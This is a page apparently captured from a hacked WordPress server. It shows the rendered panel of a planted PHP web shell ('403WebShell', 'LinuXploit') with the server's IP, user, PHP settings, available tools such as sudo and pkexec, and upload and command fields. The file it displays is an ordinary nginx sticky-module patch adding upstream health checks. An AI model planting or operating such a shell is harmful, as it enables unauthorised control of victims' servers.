WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/nginx-sticky-module/patches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/nginx-sticky-module/patches/upstream_check.patch
diff --git a/ngx_http_sticky_module.c b/ngx_http_sticky_module.c
index 9967428..f13d4b5 100644
--- a/ngx_http_sticky_module.c
+++ b/ngx_http_sticky_module.c
@@ -299,6 +299,16 @@ static ngx_int_t ngx_http_get_sticky_peer(ngx_peer_connection_t *pc, void *data)
 					return NGX_BUSY;
 				}
 
+#if (NGX_UPSTREAM_CHECK_MODULE)
+		ngx_log_debug1(NGX_LOG_DEBUG_HTTP, pc->log, 0,
+				"get sticky peer, check_index: %ui",
+				peer->check_index);
+
+		if (ngx_http_check_peer_down(peer->check_index)) {
+			return NGX_BUSY;
+		}
+#endif
+
 				/* if it's been ignored for long enought (fail_timeout), reset timeout */
 				/* do this check before testing peer->fails ! :) */
 				if (now - peer->accessed > peer->fail_timeout) {
@@ -315,6 +325,14 @@ static ngx_int_t ngx_http_get_sticky_peer(ngx_peer_connection_t *pc, void *data)
 			/* ensure the peer is not marked as down */
 			if (!peer->down) {
 
+#if (NGX_UPSTREAM_CHECK_MODULE)
+		ngx_log_debug1(NGX_LOG_DEBUG_HTTP, pc->log, 0,
+				"get sticky peer, check_index: %ui",
+				peer->check_index);
+
+		if (!ngx_http_check_peer_down(peer->check_index)) {
+#endif
+
 				/* if it's not failedi, use it */
 				if (peer->max_fails == 0 || peer->fails < peer->max_fails) {
 					selected_peer = (ngx_int_t)n;
@@ -329,6 +347,9 @@ static ngx_int_t ngx_http_get_sticky_peer(ngx_peer_connection_t *pc, void *data)
 					/* mark the peer as tried */
 					iphp->rrp.tried[n] |= m;
 				}
+#if (NGX_UPSTREAM_CHECK_MODULE)
+		}
+#endif
 			}
 		}
 	}

Youez - 2016 - github.com/yon3zu
LinuXploit